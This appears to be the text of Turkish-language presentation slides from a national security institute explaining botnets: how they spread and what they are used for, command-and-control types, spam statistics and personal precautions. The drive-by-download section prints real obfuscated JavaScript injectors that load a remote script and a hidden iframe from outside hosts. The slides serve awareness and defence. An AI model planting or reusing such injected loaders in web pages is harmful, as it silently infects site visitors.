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Gündem

• Botnet Nedir?

• Nasıl Çalışır?

• Nasıl Bulaşır?

• Ne Amaçla Kullanılır?

• Komut-Kontrol (C&C) Mekanizması

• İstatistikler

• Zeus Botnet’inin Pazarlanması

• Örnek Saldırı: Drive-by-Download

• Kişisel Olarak Alınabilecek Önlemler

• Sonuç
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Nasıl Bulaşır?

Örnek Bulaşma Senaryosu 

(Drive-by Download)
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Nasıl Bulaşır?

Torpig Botneti Altyapısı
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Ne Amaçla Kullanılır?
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Ne Amaçla Kullanılır?

• Tıklama Sahtekarlığı

• Gizli bilgilerin çalınması

• İstenmeyen (Spam) e-posta gönderilmesi

• Oltalama (Phishing) e-postaları 

gönderilmesi

• DDoS Atakları

• Zararlı yazılım(Malware) yükleme ve 

dağıtımı
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C&C Mekanizması

• HTTP

• Zeus

• P2P

• Storm

• IRC

• AgoBot, SdBot

• Diğer protokoller

• Svelta
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C&C Mekanizması

Botnet C&C Mekanizması ile kullanılan yöntemler (2Q10)

Merkezi C&C

Dağıtık C&C
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C&C Mekanizması

Botnet C&C Mekanizması ile kullanılan yöntemler (2Q10)
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C&C Mekanizması

• Svelta
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Ülkelere Göre Temizlenen Bot Sayısı

2010’un 1 ve 2nci 

Çeyreğinde 

Microsoft Software 

Removal Tool 

Tarafından 

temizlenen 

bot sayıları
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Spambot’ların Gönderim Miktarları

“Lethic” Botneti : 12.000 – 60.000 mail/saat/bot

“Grum” Botneti : Mart 2010, 39.9 Milyar mail/gün

“Cutwail” Botneti : 74 Milyar mail/gün
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Ülkelere göre Spam gönderme istatistikleri
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Zeus Botnet’inin Pazarlanması

14 https://zeustracker.abuse.ch



JavaScript içerisine gizlenmiş örnek Drive-By-Download

Bir 

forumda 

aldığım 

uyarı
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Örnek Saldırı: Drive-by-Download

'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.

&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$

#$u#)$!(-

!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#

)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&

w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$

(^o@(^o@g@&$l&&#e^))&@-

($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s

@(&m$^&(i$#@n!#^-

#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&

@o@m^)&/)!c&#(n$)e()&&t)#-

^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-

#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'

JavaScript içerisine gizlenmiş örnek Drive-By-Download 

kod parçası16



JavaScript içerisine gizlenmiş örnek Drive-By-Download

'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.

&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$

#$u#)$!(-

!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#

)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&

w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$

(^o@(^o@g@&$l&&#e^))&@-

($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s

@(&m$^&(i$#@n!#^-

#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&

@o@m^)&/)!c&#(n$)e()&&t)#-

^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-

#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'
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JavaScript içerisine gizlenmiş örnek Drive-By-Download

Firefox 

eklentisi 

FireBug
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JavaScript içerisine gizlenmiş örnek Drive-By-Download

/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = 

document.createElement('script');H3qqea3ur6p.setAttribute('t

ype', 'text/javascript');H3qqea3ur6p.setAttribute('id', 

'myscript1');H3qqea3ur6p.setAttribute('src',  

'h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o(

(o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-

!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!

#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p

^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-

($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(

i$#@n!#^-

#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/

)!c&#(n$)e()&&t)#-

^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-

#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^'.replace(/\^|&|@|\)|\(|

#|\!|\$/ig, ''));H3qqea3ur6p.setAttribute('defer', 

'defer');document.body.appendChild(H3qqea3ur6p);}} catch(e) 

{}
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Rdasznp = 't(&r$$&a#^v^#i&&!^a)n(@^)-

!#c@^o(#m!.(#$u^(@#@n($i$($)v!#!i(@#s!&&i)#o&@n!#.##c$o!#!m@

.##$!r!o(@b$$t@e()&$)x!(-

@c!&o&)m$.$@)@b#l^(u@)(e&()j!$a&c#k^)(i)&(n&)&#.#r&@u$'.repla

ce(/\$|#|\(|&|\^|@|\)|\!/ig, '');

f = document.createElement('iframe');

f.style.visibility = 'hidden';

f.src = 'http://'+Rdasznp+':8080/index.php?js';

document.body.appendChild(f);

JavaScript içerisine gizlenmiş örnek Drive-By-Download
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Kişisel Olarak Alınabilecek Önlemler

21

• Lisanslı Antivirus Yazılımı Kullanmak 

• Antivirus yazılmını sürekli güncel tutmak

• İşletim sistemi güncellemelerini sürekli yapmak

• Tanıdığımız kişilerden olsa bile gelen maillerdeki 

eklentileri mutlaka taratmak

• USB Belleklerdeki AutoRun viruslerine karşı Autorun’ı 

devre dışı bırakmak

• Kullandığımız yazılımların (Örneğin: Adobe Acrobat, 

Adobe Flash Player, Java, Silverlight vs) 

güncellemelerini sürekli yapmak.

• JavaScript ataklarına karşı Firefox’u ve eklentisi 

NoScript’i kullanmak.



Sonuç

• Köle bilgisayar ve C&C sunucusu 

arasındaki iletişim, bulaşma yöntemleri, 

davranışları çok çeşitli

• Kişisel önlemlerle alınacak sonuç sınırlı 

• Ulusal bazda izleme, tespit, savunma ve 

koordinasyon gereklidir.
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Teşekkürler / Sorularınız

TÜBİTAK-BİLGEM-UEKAE

Bilişim Sistemleri Güvenliği Bölümü

siseci@uekae.tubitak.gov.tr

0 262 648 16 87

www.uekae.tubitak.gov.tr

www.bilgiguvenligi.gov.tr
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